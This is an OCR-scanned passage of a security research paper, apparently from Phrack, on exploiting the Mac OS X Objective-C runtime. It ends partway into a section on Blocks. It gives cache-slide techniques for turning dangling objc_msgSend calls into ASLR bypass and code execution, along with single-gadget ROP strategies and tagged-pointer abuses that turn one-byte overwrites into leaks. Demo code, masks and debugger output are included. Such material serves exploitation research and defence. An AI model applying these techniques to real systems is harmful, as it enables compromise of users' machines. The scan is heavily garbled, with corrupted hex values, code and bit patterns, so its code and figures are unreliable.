While, at the time of the Phrack 0x42 release, this technique was fairly 
useful by itself, in modern times EIP/RIP control is only a small victory 
and in no way wins the battle of process control. This is due to the fact 
that even with direct control of EIP modern NX and ASLR makes it difficult 
to know a reliable absolute location in which we can store a payload and 
return to execute it. 
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From what i’ve seen, the most commonly used technique to bypass this 
currently is to combine an EIP control primitive with an information leak 
of a .text address in order to construct a ROP chain (returning repeatedly 
into the text segment) which either executes the needed functionality, 
mprotect()’s some shellcode befor xecuting it, or loads an existing 
executable or shared library. 


Under the right conditions, it is possible to skip some of these steps 
and turn a dangling Objective-C method call into both an information leak 
and execution control. 


In order to use this technique, we must first know the exact binary version 
in use on the target. Thankfully on Mac OS X this is usually pretty easy as 
automatic updates mean that most people are running the same binary 
version. 


The specifics of the technique differ depending on the architecture of the 
target system, as well as the location of the particular SEL string which 
is used in the dangling method call construct. 


Since we are already familiar with 32-bit internals, we will begin our 
investigation of dangling objc_msgSend() exploitation with the 32-bit 
runtime, before moving on to look at the changes in the new run-time on 
64-bit. 


--[ 32-bit dangling objc_msgSend() 


Firstly, 32-bit processes utilize the old Objective-C runtime, so the 
specifics of the internals are identical to what is documented in my 
original paper. However, depending on the location of the module 
containing the selector string, the technique varies slightly. 


----[ 32-bit Shared Region 


The shared-region is a mapping which is common to all processes on the 
system. The file '’/var/db/dyld/dyld_shared_cache_i386’ is mapped into this 
space. This file is generated by the "update_dyld_shared_cache" utility 
during system update, and contains a large selection of libraries which are 
commonly used on the system. The .paths files in 
"/var/db/dyld/shared_region_roots" dictate which files are contained 
within. The order in which each library is added to this file is 
randomized, therefore the offset into the file for a particular library 
cannot be relied on. Reading the file 
'/var/dbo/dyld/dyld_shared_cache_i386.map’ shows the order of these files. 


For 32-bit processes, this file is mapped at the fixed address 0x90000000. 
At this location there is a structure which described the contents of the 
shared region. 


This technique, once again, revolves around the ability to control the ISA 
pointer, and to point it at a fake class struct in memory. In order to 
demonstrate how this works, a small sample Objective-C class was created 
(shown below). The complete example of this technique is included at the 
end of this paper in the uuencoded files blob. 


— 


leakme.m] 
#import "leakme.h" 


@implementation leakme 
—(void) log 
{ 
printf ("lol\n"); 
} 
@end 


In main.m, we create an instance of this object, and then use sprintf() to 
write out a string representation of the objects address, before converting 
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it back with atol(). This is pretty confusing, but it’s basically an easy 
way to trick the compiler into giving us a void pointer to the object. Type 
casting the object pointer directly will not compile with gcc. 


printf("{+] Class @ 0x%lx\n",1); 
sprintf (num, "%1i",1); 
long *ptr = atol (num); 


printf("[+] Overwriting object\n"); 
*ptr = &fc; // isa ptr 


By overwriting the ISA pointer with the address of an allocation we 
control, we can easily simulate a vulnerable scenario. Obviously in the 
real world things are not that easy. We need to know the address of an 
allocation which we control. There are a variety of ways this can be 
accomplished. Some examples of these are: 


—- Using a leak to read a pointer out of memory. 
- Abusing language weaknesses to infer an address. [2] 
Abuse the predictable nature of large allocations. 


However, these concepts are the topic of many other discussions and not 
relevant to this particular technique. 


As a quick refresher, the first thing the Objective-C runtime does when 
attempting to call a method for an object (objc_msgSend()) is to retrieve 
the location of the method cache for the object. This is done by 
offsetting the ISA pointer by 0x20 and reading the pointer at this 
location. To control this cache pointer we use the following structure: 


struct fakecache { 

char pad[0x20]; 
long cache_ptr; 
}; 


In th xample code we use a separate allocation for the fakecache struct 
and the cache itself. However in a real scenario the address of the cache 
itself would most likely be the same address as the fakecache offset by 
0x24. This would allow us to use a single allocation, and therefore a 
Single address, reducing the constraints of the exploit. Also, in a real 
world case we could leak the address of the cache_ptr, then subtract 0x20 
from it’s address. This would allow us to shave 0x20 bytes off of the 


buffer we need to control. 


Next, objc_msgSend() traverses the cache looking for a cached method call 
matching the desired implementation. This is done by iterating through a 
series of pointers to cache entries. Each entry contains a SEL which 
matches the cached method SI in the .text segment of the Objective-C 
binary. By comparing this SEL value with the SEL value passed to 
objc_msgSend() the matching entry can be located and used. Rather than 
iterating through every pointer to find the appropriate cach ntry each 
time however, a mask is applied to the selector pointer. The masked off 
bits are then shifted and used as an index into the cache tabl ntry 
pointer array. Then after this index is used, each entry is inspected. 
This means that multiple entries can have the same index, however it 
greatly reduces the search time of the cache. Controlling the mask provides 
us with the mechanism we need to create a leak. 


os 
ry 
= 
ry 


Ok, so going back to the mask. In my original Objective-C paper, we set th 
mask to 0. This forced the runtime to look directly past the mask 
regardless of what value the SEL had. In this case however, we want to 
abuse the mask in order to isolate the "randomized" unpredictable bits in 
the selector pointer value (SEL). 


5 


Below, we can see a "real" SEL value from a 10.10 system, which is located 
in the shared_region. 


(lldb) x/s S$ecx 
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Ox90f3f86e: "Length" 


Since we know that the shared region begins at 0x90000000 we know that 
first octet will always be 0x9. We also know that the offset into the page 
which contains the SEL will always be the same, therefore the last 3 

octets 0x86e will be the same for the binary version we retrieve the SEL 
value from. However, we cannot count on the rest of the SEL value being the 
same on the system we are running our exploit against. 


For the value 0x90f3f86e we can see the bit pattern looks as follows: 


9 0 ae 3 £ 8 6 e 
1001 0000 1111 0011 1111 1000 0110 1110 : Ox90f3f86e 


Based on what we just discussed the mask which would retrieve the bits we 
care about looks as follows: 


0 f £ £ £ 0 0 0 
0000 1111 1111 1111 1111 0000 0000 0000 : Ox0ffFE0O0N 


However, since objc_msgSend() shifts the SEL 2 to the right prior to 
applying the mask, we must shift our mask to account for this. 


This leaves us with: 


0 3 f £ £ co) 0 0 
0000 0011 1111 1111 1111 1100 0000 0000 : Ox03fff£cO00 


As you remember, objc_msgSend() applies the following calculation to 
generate the index into the cach ntries: 


index = (SEL >> 2) & mask 
Filling in the values for this leaves us with an index like: 
index = (0x90f3f86e >> 2) & Ox03fffc00 == Ox3cfc00 


This means that for our particular SEL value the runtime will index 
Ox3cfc00 * 4 (Oxf3f000) bytes forward, and take the bucket pointer from 
this location. It will then dereference the pointer and check for a SEL 
match at that location. By creating a giant cache slide, containing all 
permutations of slide, we can make sure that this location contains the 
right value for slide. 


In the 32-bit runtime (the old runtime) the cache index is used to retrieve 
a pointer to a cache_entry from an array of pointers. (buckets). 
In our example code (main.m) we set the buckets array up as follows: 


long *buckets = malloc( (CACHESIZE + 1) * sizeof(void *)); 


However, in a typical exploitation scenario, this array would be part of 
the single large allocation which we control. 


For each of the buckets pointers, a cache entry must be allocated. In the 
xample code we can use the following struct for each of these entries: 


struct cacheentry { 
long sel; 
long pad; 
long eip; 


}; 


Each of these structures must be populated with a different SEL and EIP 
value depending on its index into the table. For each of the possible 

index values, we add the (unshifted) randomized bits to the SEL base. 
This way the appropriate SEL is guaranteed to match after the mask is 


applied and used to index the table. 
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For the EIP value, we can utilize the fact that the string table containing 
the SEL string is always going to be relative to the .text segment within 
the same binary. The diagram below shows this more clearly. 


: 1< Mach-O base address 
mach-o header 
<--- SEL in string table, relative to base 
string table /\ Relative offset 
\/ from SEL to ROP gadgets 
<--- ROP gadget in .text segment 
-text segment 


, , 


For each possible entry in the table, the EIP value must be set to the 
appropriate address relative to the SEL value used. The quickest way i know 
to calculate these values is to break on the objc_msgSend function and dump 
the current SEL value. In lldb this is simple a case of using "reg read 
ecx". Next, "target module list -a S$ecx" provides us with the module base. 
By subtracting the absolute SEL address from the module base we can get the 
relative offset within the module. This can be repeated for the gadget 
address within the same module. Next, when populating the table, we simple 
need to add these two relative offsets to our potential module base 
candidate. We increment the module base candidate for each entry in the 
table. 


By populating our cache slide in this way we are guaranteed the execution 
of a single ROP gadget within the module that our SEL is in. This can be 
enough for us to succeed. We will look into ways to use this construct 
later. 


Obviously the allocation used for this 32-bit technique is very large. To 
calculate the size of the cache slide which we need to generate we need to 
look at the size of the shared region. The shared region always starts at 
0x90000000, but the first module inside the shared region starts at 
0x90008000. The end of the shared region depends on the number of modules 
loaded in the shared region. On the latest version of Mac OS X at this 
time, the end of the shared region is located at 0x9c391000. The bit 
patterns for these are shown below. 


10010000 00000000 10000000 00000000 :: SR START -- 0x90008000 
10011100 00111001 00010000 00000000 :: SR END -- 0x9C391000 


00001111 11111111 11110000 OQ0000000 :: MASK UNSHIFTED 


If we compare this to the unshifted mask, and mask off the bits we care 
about we get the following values for our potential index values. 


00000000 00000000 00100000 00000000 -- smallest index value - 0x2000 
00000011 00001110 01000100 00000000 -- biggest index value - 0x30E4400 


Since the buckets array is an array of 4 byte pointer values we can 
multiple the largest index by 4, giving us 0xc391000. Each cache entry 
pointed to by a bucket is 12 bytes in size. This means that the size of the 
cache entry array is 0x24ab3000. 


By adding these two values together we get the total size of our cache 
slide, 0x30e44000 bytes. 


Allocations of this size can be difficult to make depending on the target 
application. However, also due to the size, they are predictably placed 
within the address space. This buffer can be made from JavaScript for 
example. 


-—---[ Uncommon 32-bit Libraries 
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Libraries which are not contained within the shared region are mapped in by 
the linker when an executable is loaded that requires them as a dependency. 


The location of these modules is always relative to the end of the 
executable file and is loaded in the order specified in the LC_LOAD_DYLIB 
header. 


When loading the executable file, the kernel generates a randomized slide 
value for ASLR. This value is added to the desired segment load addresses 
in the executable (if it’s compiled with PIE) and then the executable is 
re-based to that location. 


uintptr_t requestedLoadAddress = segPreferredLoadAddress(i) + 
slide; 


The slide value is calculated by the kernel and then passed to the main 
function of the dynamic loader. The following algorithm is responsible for 
generating the slide valu 


aslr_offset = (unsigned int) random(); 

max_Sslide_pages = vm_map_get_max_aslr_slide_pages (map) ; 
aslr_offset %= max_slide_pages; 

aslr_offset <<= vm_map_page_shift (map) ; 


where: 


uint64_t 
vm_map_get_max_aslr_slide_pages(vm_map_t map) 


{ 


return (1 << (vm_map_is_64bit (map) ? 16 : 8)); 
} 


int 

vm_map_page_shift ( 
vm_map_t map) 

{ 
return VM_MAP_PAGE_ SHIFT (map) ; 


} 


define VM_MAP_PAGE_SHIFT(map) \ 

((map) ? (map)->hdr.page_shift : PAGE_SHIFT) 
define PAGE_SHIFT 1386 _PGSHIFT 
define I386_PGSHIFT 12 


So for example, a random() value of Oxdeadbeef, would end up as the value 
Oxef000. With the following calculation: 


lide = ((Oxdeadbeef % (1<<8)) << 12) 
lide = Oxef000 


n 


n 


The gcc compiler and llvm both (by default) use a load address of 0x1000 
for the text section of an executable. So for the slide value Oxef000 the 
executable file would be based at 0x1000 + Oxef000 = Oxf0000. 


This means that for the most part, you’re dealing with roughly 1 byte of 
unpredictable bits. Depending on the number of libraries loaded which are 
outside of the shared region, this fluctuates, however libraries are always 
loaded in the order stipulated by the executable itself, so this is fairly 
predictable. 


For our dangling objc_msgSend technique this means that our mask fluctuates 
depending on the target. In the best case, masking of the single byte in 
the address can be achieved by using the mask (O0x000ff000 >> 2) == Ox3fc00. 
--[ 64-bit dangling objc_msgSend() 


The 64-bit version of this technique is quite different to it’s 32-bit 
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brethren. This is mostly due to the fact that 64-bit processes use a 
brethren. This is mostly due to the fact that 64-bit processes use a 
whole new version of the runtime. 


In the new runtime, the objc_class structure is no longer a basic C 
structure. Instead it uses C++ intrinsics to include methods. 


The memory footprint for the new class is shown below. 


struct objc_class : objc_object { 


// Class ISA; 


Class superclass; 
cache_t cache; // 
class_data_bits_t bits; // 


} 


formerly cache pointer and vtable 
class_rw_t * plus custom rr/alloc flags 


The cache_t struct looks as follows: 


struct cache_t { 


struct bucket_t *_buckets; 


mask_t _mask; 
mask_t _occupied; 


} 


and a bucket_t struct looks like: 


struct bucket_t { 


private: 
cache_key_t _key; 
IMP _imp; 


} 


Putting this together. 


The main t 


hing that has changed regarding the cache 


lookup, rather than an array of pointers to cach ntries, there is simply 
a single pointer to an array of SI 


into the structure. Fol] 


EL + method address entries at offset 0x10 


lowing this, there’s the mask, followed by an 


occupied field indicating that entries in the cache exist. 


The critical difference in the run-time is the way the mask is used to 
index into this table. Rather than the (SEL >> 2) value in the 32-bit 


Do 


runtime, the index is calculated via ((SEL & mask) << 4). This means, if we 
were to abuse the mask in a similar way to the 32-bit technique we would 
need a mask of Oxffff0000 in order to isolate the randomized bits. 
Obviously even if we were able to make an allocation big enough to contain 
the cache slide necessary for this it would be such a time consuming act to 
populate 4gb worth of cache entries to catch the index that this is not 
really a feasible process. 


Instead we must utilize an additional characteristic of the new runtime. 
The objc_msgSend() call at a high level looks as follows: 


ISA = *class_ptr; 


offset = ((SEL & ISA->mask) << 4); 
while (ISA->buckets[offset].SEL != 0) { 
if (ISA->buckets[offset].SEL == SEL) { 
return ISA->buckets[offset].method(args) ; 
} else { 
offset--; 


} 


continue; 


This means that if we once again create a large slide containing entries 
for all possible randomized bits, 


we simply need to point (using the index 
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we control) the runtime to end of our slide, and let it walk backwards 
until it finds a match. 


—----[ 64-bit Shared Region 


In order to investigate this technique, we will begin again by looking at 
the shared region on 64-bit processes. The shared region starts at the 
address Ox7FFF80000000. Once again a cache file is mapped in, this time 
from /var/db/dyld/dyld_shared_cache_x86_64. This file is, once again, 
randomized upon creation, however in 64-bit processes there is also a 
random slide added to the file when it is mapped in. This is calculated 
using sizeof (shared_region) - sizeof(cache file) as the max. As far as our 
technique goes however this does not really change very much. 


Calculating the mask value for this technique can be challenging. There are 
a few constraints which we must work against in order to index our bucket 
list to the last entry. 


To investigate this we will take a typical SEL value O0x00007fff99f88447 
The bit pattern is broke down below. 


4 


SEL: 
0x00 00 TE ff 99 £8 84 47 
00000000 00000000 01111111 11111111 10011001 11111000 10000100 01000111 


Unfortunately the mask variable is only 4 bytes long. This means that the 
predictable bits in the upper 32-bits of the SEL are not available to us. 
Also, the last 12 static bits (offset into page - 0x447) would result in an 
index that is too small. If we used those bits we would not have a large 
enough offset to index to the end of the slide. Luckily, we have one single 
static bit in position 33 which we can count on being set. We can take 
advantage of this bit with the following mask. 


Mask: 
0x00 00 00 00 80 00 00 00 
00000000 00000000 00000000 00000000 10000000 00000000 00000000 00000000 


Applying this bit to any SEL value within the shared region will guarantee 
the offset 0x80000000. Clearly this value is way beyond the end of our 
required slide, however since we also control the pointer to the bucket 
slide, we can subtract (0x80000000 - sizeof(cache)) from the pointer value 
to force it to point to the right location. 


Th xample code main64.m demonstrates this technique. In this code, we use 
a fakecache structure to control the initial cache lookup. A pad is used to 
correctly position the bucket pointer and mask. 


struct fakecache { 
char pad[0x10]; 

long bucketptr; 

long mask; 

}; 


Next, we allocate an array of cache entry structs in order to hold our SEL 
slide. Obviously in a real attack all these elements would be in a single 
allocation, however for this example we will split them up for clarity. 


struct cacheentry { 
long sel; 
long rip; 


}; 


struct cacheentry *buckets = malloc((NUMBUCKETS+1) * sizeof (struct 
cacheentry)); 


Initializing each of these elements is simply a case of incrementing the 
random value added to the SEL each time, and populating each entry. 
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Again, the RIP value is calculated by adding a relative offset to the SEL 
in order to locate our ROP gadget. 


for(slide = 0; slide < NUMBUCKETS ; slidett+) { 
buckets[slide].sel = BASESEL + (slide * 0x1000); 
buckets[slide].rip = buckets[slide].sel - 75654446; 


} 
—---[ Uncommon 64-bit Libraries 
Once again, libraries which are not within the shared region are mapped 


directly after the executable image in memory. Typically the text segment 
address generated by the compiler is 0x100000000. 


The same code is used to to generate the slide that we looked at earlier in 
the 32-bit section. Here is an example of a slide for a 64-bit process with 
the random() value of Oxdeadbeef. 


slide = ((Oxdeadbeef % (1<<16)) << 12) 
slide = Oxbeef000 
example SEL = 0Oxl0beef447 


As you can see, in this example, there is no predictable bit in the lower 
32-bits of the SEL which we can rely on to index to the end of our table. 
Our only option here is to utilize the random bits in the SEL. We can do 
this by repeating the entire spectrum of randomized values in our slide 
multiple times. This way depending on the value of the random bits a 
different offset will occur into the slide, however in most scenarios it 
will result in finding one instance of the correct entry. 


--[ Single Gadget Exploitation Strategies 


Now that we’ve looked at how to get execution to a predictable location of 
our choice, the next step is to look at some ways to utilize this to our 
advantage. 


Obviously there is an abundance of ways that this can be utilized, but the 
following 3 methods are ways that I have seen succeed in real life. 


—---[ Return SEL Gadget 


At the moment when we gain execution control using this technique a 
register value contains the SEL pointer value. We can use this fact to our 
advantage. For example, for 32-bit code, the following gadget could take 
advantage of this. 


00000000 89C8 mov eax, ecx 
00000002 5E pop esi 
00000003 5D pop ebp 
00000004 C3 ret 


The gadget above moves the SEL pointer value into th ax register, 
obviously on function return this register is treated as the return value. 
Next it restores EBP from the stack and uses the ret instruction to return 
from the function. This results in, rather than th xpected return value 
for whatever Objective-C method was dangling, the SEL value is returned. 


This is only a useful approach if we are able to retrieve the value from 
this context and utilize it to re-trigger the bug. In th xample cod 
provided, the use of this gadget causes the SEL value to be printed, rather 
than the length of the NSString which is intended. You can see the result 
of this below. 


—[nemo@objcbox:code]$ ./leak 

+] buckets is 0x10000000 size. 

+] cacheentry is 0x30000000 size. 
+] Setting up buckets 

+] Done 
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] Class @ 0x78622240 

] Overwriting object 

] Calling method 

tring length: 0x93371b88 


[ 
[ 
[ 
iS) 


Likewise, in some cases it may not make sense to return the SEL directly. 
If it is not possible to retrieve the leaked value upon return it may make 
more sense to execute a gadget which writes ecx somewhere in memory. For 
example in a web browser context, writing th cx register into a 
JavaScript array which is attacker controlled may result in the ability to 
"collect" this value from JavaScript context and re-trigger the bug. 


----[ Self Modifying ROP 


Another potential use of the single gadget execution primitive is to use 
th cx register containing SEL to modify the rest of a ROP chain prior to 
pivoting to use it. 


I have never personally been successful with this, however I have seen this 
done ina friends exploit. 


Finding a gadget which accomplishes all this is extremely challenging. 
----[ Arbitrary Write Gadget 
The final method for using a single gadget to continue the exploitation 


process is to turn the execution primitive into an arbitrary write 
primitive. 


It is usually fairly straight forward to find a gadget which allows you to 
write any high value to a fixed location. By positioning something at this 
location (eg O0x0d0d0d0d) this single write can be leveraged to escalate the 
available functionality. For example, in a web context. Positioning a 
JavaScript array or string at this location then writing to the length 
field can be enough to gain an arbitrary read/write primitive from 
JavaScript. This is easily enough to finish the exploitation process. 


Outside of the browser context there are still a variety of length encoded 
data types which can be used for this. Specifically to Objective-C, th 
NSMutableArray/NSArray classes work this way. 


--[ Tagged Pointers 


One of the new features added to the Objective-C runtime is the usage of 
"tagged pointers" to conserve resources. Tagged pointers take advantage of 
the fact that the system memory allocator will align pointers handed out on 
natural alignment boundaries. This means that the low bit will never be 
set. 


ma 


lldb) print (long)malloc_good_size (1) 
long) $0 = 16 


— 


The runtime takes advantage of this lower bit in order to indicate that the 
pointer value is not to be treated as a regular pointer, and instead, bits 
61-63 are used as an index into a table of potential ISA pointers, 
registered with the system. This means the first 60 bits can then by used 
to store the object payload itself inline. 


Tagged pointer layout 


PALETTE ds LT. Te De a ST se aT, sy 
| | 
| tag 
index 


As mentioned, index bits index into a table of potential object types. The 
default types registered with the runtime is shown below. 
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OBJC_TAG_NSAtom = 0, 
OBJC_TAG_1 = 1s 
OBJC_TAG_NSString = 2, 
OBJC_TAG_NSNumber = 3, 
OBJC_TAG_NSIndexPath = 4, 
OBJC_TAG_NSManagedObjectID = 5, 
OBJC_TAG_NSDate = 6, 
OBJC_TAG_7 = 7 


It is possible for a developer to add their own types to the table, however 
it is very uncommon for anyone to do this. The guide at [3] clearly 
illustrates the mechanics of tagged pointers, if you require more 
information. 


Now that we’ve looked at how tagged pointers work, we will investigate some 
of them from an exploitation perspective. 


----[ Tagged NSAtom 


NSAtom is an extremely handy object type for exploitation. In order to use 
a tagged NSAtom, we simply need the low bit set indicating a tagged 
pointer, and then no bits set in the index bits. The value Oxl by itself 
for example will satisfy this. The beautiful thing about the NSAtom class 
is that calling any method name on this class will result in success. 


Th xample code below simply calls the method initWithUTF8String on the 
object Oxl. Clearly this is not a valid pointer, and instead is treated as 
an NSAtom. Any method name could be used and the result would still be 1. 


int main(int argc, const char * argv[]) 

{ 
printf("{+] NSAtom returned: %Su\n", [1 initWithUTF8String:"lol"]); 
return 0; 


} 


S ./nsatom 
[+] NSAtom returned: 1 


As you can imagine, this behavior can b xtremely useful for 

CoE or general exploitation. An example scenario would be, if you are 
forced to write through several Objective-C object pointers on the path to 
an overwrite target, any method call on those objects would require valid 
pointers/fake object setup. However with the NSAtom tagged pointer type, 
simply replacing these pointers with the value Oxl can be enough to stop 


the crash and take advantage of the overwrite target. 


Also, in extremely specific cases, the fact that this object returns true 
can be used to manipulate the path of the program. 


----[ Tagged NSString 


The next tagged pointer type we will investigate is the tagged NSString. 
With the new runtime, when a NSString is created, the size of the string 
during initialization dictates the type of storage for the string. 


String which are greater than 7 bytes in length are stored on the heap ina 
typical Objective-C NSString object. However, for strings of 7-bytes or 
less, a tagged pointer with the index 2 is used. The bitpattern for a 
tagged NSString is shown below. It is comprised of 7 bytes of string data, 
followed by 4 bits for the length, 3-bit for the index into the tagged 
pointer types array and finally the low bit to indicate tagged pointer 


type. 


< [ String Data ] > 
ft Et Et ad Et Lt at Et Ee Et Lt Up Vs dit Ft Ete Est Et Et at Et et ad Et Et Eg Et Et Kt Et Pe Et Et Lt Et PEt Pa @ te 
[strlen] <----> | | 
| tag 
index: 02 
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The first scenario in which we can abuse the properties of a tagged 
NSString is a partial overwrite into an untagged NSString. Th xample cod 
included with this paper (nsstringl.m) demonstrates this. 


In this code (shown below) we create an NSString (s) using the C string 
contents "thisisaverylongstringnottagged". Since this is not 7 or less 
bytes in length this string is stored on the heap, and the object pointer 
points to this. 


We use the character pointer (ptr) to simulate a 1 byte write into the 
least significant byte of the object pointer. This condition can occur from 
either a controlled overflow, or an actual 1 byte off-by-one. 


We write the value Oxf5 to this byte, and then print the length and 
contents of the string. 


int main(int argc, const char * argv[]) 
{ 
NSString *s = [[NSString alloc] 
initWithUTF8String:"thisisaverylongstringnottagged"]; 
char *ptr = (char *)&s; 
*potr = Oxf5; // NSString Tagged 


printf("({+] NSString @ 0x%lx\n", (unsigned long)s); 
printf("({+] String length: 0x%1x\n", (unsigned long) [s length]); 


NSLog (@"%S@",8); 


return 0; 


} 
The value Oxf5 in the least significant byte has the following bit pattern: 
[1111] [010] [1] 


As you can see, this leaves us with a string length of Oxf, an index of 0x2 
and the LSB set to indicate a tagged pointer. 


By only using a partial overwrite, we have left the first 7 bytes of the 
pointer untouched. 


As you can see from the output below, the length of the string is Oxf (15) 
after this overwrite. This means that when the NSLog() attempts to print 
the string contents, 15 bytes of data are pulled out starting from the 
inline data. This leaks the address of the object. If our target allows us 
to retrieve a string value and use it, we can turn a one byte overwrit 
into an info leak primitive. 


./nsstringl 

t+] NSString @ Ox7fc0db4116f5 

t+] String length: Oxf 

015-04-04 07:47:26.815 nsstringl[13335:92489992] eeeeeee 3eljuajz 


$ 
[ 
[ 
2 


The next scenario which we will investigate involves overflowing into a 
tagged NSString, rather than an un-tagged variant. Th xample cod 
nsstring2.m demonstrates this. 


In this code, we initialize an NSString with the contents "AAAAAAA". Since 
this is only 7 bytes of c-string it guarantees that the NSString will be a 
tagged type. This means it will contain the value: 


0x4141414141414175 
Essentially the first 7 bytes are taken up with our "A" contents. The last 


byte contains the length (7) followed by the bitpattern to indicate 
NSString type of tagged pointer. 
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Next, we once again simulate a single byte overflow into the object 
pointer. This time we write the value 0x00, which is a common primitive in 
real life due to off-by-one string operations. This forcefully unsets the 
tagged LSB in the pointer, turning the tagged string into an un-tagged 
type. 


Finally we call the length method on the object. 


int main(int argc, const char * argv[]) 

{ 
NSString *s = [[NSString alloc] initWithUTF8String: "AAAAAAA"]; 
char *ptr = (char *)&s; 
*otr = 0x00; // un-tag 


printf("{+] NSString @ O0x%lx\n", (unsigned long)s); 
printf("{+] String length: 0x%1x\n", (unsigned long) [s length]); 


NSLog (@"%S@",8); 


return 0; 


} 


As you can imagine, the runtime now treats our tagged object as untagged. 
This means that the tagged pointer is now treated as a real pointer. If we 
were able to control the contents of the NSString on initialization, this 
would present us with direct control over the object cache lookup, allowing 
us to use the construct presented earlier in the paper to turn this into 
code execution. 


lldb) r 
rocess 13636 launched: ’./nsstring2’ (x86_64) 
+] NSString @ 0x4141414141414100 
rocess 13636 stopped 
* thread #1: tid = 0x5834fc3, 0x00007£ff££96c210d7 
libobjc.A.dylib‘objc_msgSend + 23, queue = ’com.apple.main-thread’, stop 
reason = EXC_BAD_ACCESS (code=EXC_1I386_GPFLT) 
frame #0: Ox00007fff£96c210d7 libobjc.A.dylib‘objc_msgSend + 23 

libobjc.A.dylib‘objc_msgSend + 23: 
—> Ox7ff£96C210d7: andg (Srdi), %r1l1 

Ox7£f££96c210da: movq Srsi, %rl10 

Ox7£££96C210dd: andl Ox18(%rl1), %r10d 

Ox7£££96c210e1: shlq S$Ox4, %r10 
(lldb) reg read rdi 
rdi = 0x4141414141414100 


( 
P 
[ 
P 


----[ Tagged NSNumber 


As you can imagine, the NSNumber case is very similar to that of the 
NSString. Any number value which can be contained in the first 7 bytes of 
the pointer is stores inline as a tagged NSNumber, rather than performing 
an allocation and storing the number on the heap. 


The sample code nsnumberl.c demonstrates,once again, a single byte 
overwrite into a tagged pointer, containing an inline nsnumber. 


In this code, we begin by instantiating an NSNumber containing the value 
Oxdeadbeeffeedface. The contents of this number are unimportant, however 
clearly the number is large enough that it would not fit into the upper 
bytes of a tagged pointer, therefore this NSNumber is stored on the heap in 
typical Objective-C fashion. 


Next, we write the value Oxf7 to the lower byte of the object pointer. Once 
again this converts the un-tagged object pointer into a tagged type, while 
leaving the upper bits in-tact. Finally, we log the contents of the number 
using the method unsignedLongLongValue. 


int main(int argc, const char * argv[]) 
{ 
NSNumber *n = [NSNumber numberWithInteger:0xdeadbeeffeedface] ; 
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char *ptr = (char *)&n; 
*ptr = Oxf7; 


NSLog (@"0x%1x\n", (unsigned long) [n unsignedLongLongValue]); 
return 0; 


} 


As you can see from the output below, rather than printing the initialized 
contents (0Oxdeadbeeffeedface) the NSLog call displays the object pointer 
value itself, once again creating an information leak of this value. 


S ./nsnumberl 
2015-04-04 09:26:58.701 nsnumberl [14663:92514549] 0x7£d6134116 


The final tagged pointer example nsnumber2.m demonstrates the counter case 
to this. In this code an NSNumber is instantiated containing the value 
0x0041414141414141. As you can see from the leading NULL byte, this value 
is small enough that it fits within the first 7 bytes of the object 
pointer. Therefore, this object is created as a tagged pointer with the 
value: 


0x4141414141414107 


We once again truncate the final byte using a character pointer, removing 
the tagged bit before calling a method on it (unsignedLongLongValue). 


int main(int argc, const char * argv[]) 

{ 
NSNumber *n = [NSNumber numberWithInteger:0x0041414141414141]; 
char *ptr = (char *)&n; 
*potr = 0x00; 


NSLog (@"0x%1x\n", (unsigned long) [n unsignedLongLongValue]); 
return 0; 


} 


When the method call is made, the runtime treats the numbers contents as a 
pointer, and leaves us with a dangling Objective-C message send call, which 
we can once again abuse to control execution. 


Process 14636 launched: ’./nsnumber2’ (x86_64) 
Process 14636 stopped 
* thread #1: tid = 0x583a67f, Ox00007£f£96c210d7 
libobjc.A.dylib‘objc_msgSend + 23, queue = ’com.apple.main-thread’, stop 

reason = EXC_BAD_ACCESS (code=EXC_1I386_GPFLT) 

frame #0: Ox00007fff£96c210d7 libobjc.A.dylib‘objc_msgSend + 23 
libobjc.A.dylib‘objc_msgSend + 23: 
—> Ox7ff£96C210d7: andg (Srdi), %r1l1 

Ox7£££96c210da: movq Srsi, %rl10 

Ox7£££96C210dd: andl Ox18(%rl1), %r10d 

Ox7f£f££96c210e1: shlq SOx4, %r10 
(lldb) reg read rdi 

rdi = 0x4141414141414100 


----[ Additional Tagged Types 


The additional types in the table have very unique properties. I will leave 
it as an exercise to the reader to investigate each of these types for 
useful ways they can be used from an exploitation perspective. 


--[ Blocks 


So, Apple being Apple, decided the tried and tested C standard wasn’t good 
enough for their magical super fantastic operating system and went ahead 
and modified it. They did this by adding a new construct called Blocks. 


For anyone familiar with the concept of an anonymous function reference in 
Perl, or a lambda function in Python, this is essentially what a Block is. 
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You can read about blocks in detail in Apple’s guide [4]. TL;DR though, a 
block basically uses the "*" operator to declare a special type of function 
pointer where the body of the function can be defined inline. This is 
mostly a syntactic feature, but has a few runtime uses as well. They can be 
passed to other functions just like a function pointer, and can access 
global data, or data relative to the current executing state they are 
defined in. Syntactically blocks are very similar to ecmascript Closures, 
however internally they function a little differently as you’ll see. 


—-[ Sample Block Code 


Ok let’s take a look at how Blocks are defined. Apple’s guide [4] provides 
the following littl xample cod 


int main(int ac, char **av) 
int multiplier = 7; 
int (*myBlock) (int) = *(int num) { 
return num * multiplier; 
}; 
printf ("Sd\n", myBlock(3)); 
As you can see, this code defines a block called myBlock which takes an 


integer argument "num" and multiplies it with a value "multiplier" taken 
from the stack of the main function where the block was declared. 


The myBlock Block is then called passing the value 3. As expected when 
executed the block is entered and returns the multiplication of 7 * 3. 


—[dcbz@squee:~/code/blocks]$ gcc block.c -o block 
—[dcbz@squee:~/code/blocks]$ ./block 
21 


Note, nothing fancy is needed to compile this, Apple’s built in compiler 
supports Blocks out of the box. 


At first glance, i expected this feature to be syntactical only. I thought 
the compiler would create a function, and then just add a single call 
instruction in the appropriate places. Or maybe a function pointer if 
reassignment was required. However if we walk through the assembly listing 
for this trivial program we can see that is not even close to the case. 


First we have the basic function prologue as expected... 


EntryPoint: 
push rbp ; XREF=0x100000e2f 
mov rbp, rsp 
sub rsp, 0x50 


Next argv/argc are moved into stack variables. 


mov rax, rsi 
mov ecx, edi 
mov dword [ss:rbp-0x50+var_76], ecx 
mov qword [ss:rbp-0x50+var_64], rax 


The value 0x7 is stored in a stack variable to be referenced by the Block. 
This it the "multiplier" variable. 


mov dword [ss:rbp-0x50+var_12], 0x7 


Ok now we come to the meat of the Block implementation. As you will see, 
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there’s a little bit of code here, much more than expected. Before w 
continue tracing it we need to understand a little bit more about Block 
internals. 


The free chapter from the book Advanced Mac OS X Programming: The Big Nerd 
Ranch Guide [5] has a really nice write up on the internals of Blocks which 
makes this next bit really clear. 


Basically there are two structures defined for every Block created, the 
block_descriptor and block_literal as well as the function containing the 
actual byte-code implementation of the Block. 


The block literal structure is the most important structure for us to 
understand. Majority of the assembly listing we are tracing is used to 
populate this structure appropriately. The definition for the structure is 
shown below: 


struct block_literal_NAME 
void *isa; 
int flags; 
int reserved; 
